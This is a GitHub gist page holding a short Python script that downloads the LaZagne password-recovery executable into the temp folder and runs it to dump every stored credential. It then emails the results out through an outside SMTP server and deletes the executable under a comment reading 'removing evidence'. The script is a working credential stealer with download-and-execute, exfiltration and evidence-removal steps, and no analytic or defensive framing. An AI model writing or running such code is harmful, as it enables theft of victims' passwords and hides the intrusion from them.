Created
February 2, 2023 00:20
-
-
Save davidlares/5d331ecf204738366e6f16b0073a387a to your computer and use it in GitHub Desktop.
Running LaZagne programatically /w Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess, smtplib, os, tempfile, requests | |
def send_email(email, username, password, message): | |
# instance | |
server = smtplib.SMTP("smtp.mailtrap.io", 587) | |
server.starttls() | |
server.login(username, password) # login | |
server.sendmail(email, email, message) # sending message | |
server.quit() | |
def download(url): | |
get_request = requests.get(url) | |
filename = url.split("/")[-1] | |
with open(filename, 'wb') as out: | |
out.write(get_request.content) | |
if __name__ == "__main__": | |
# generating the directory | |
temp = tempfile.gettempdir() | |
# moving | |
os.chdir(temp) | |
# download file | |
download("https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe") | |
# execute | |
results = subprocess.check_output("lazagne.exe all", shell=True) | |
# sending results | |
send_email('[email protected]', 'LOL', 'LOL', results) | |
# removing evidence | |
os.remove("lazagne.exe") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment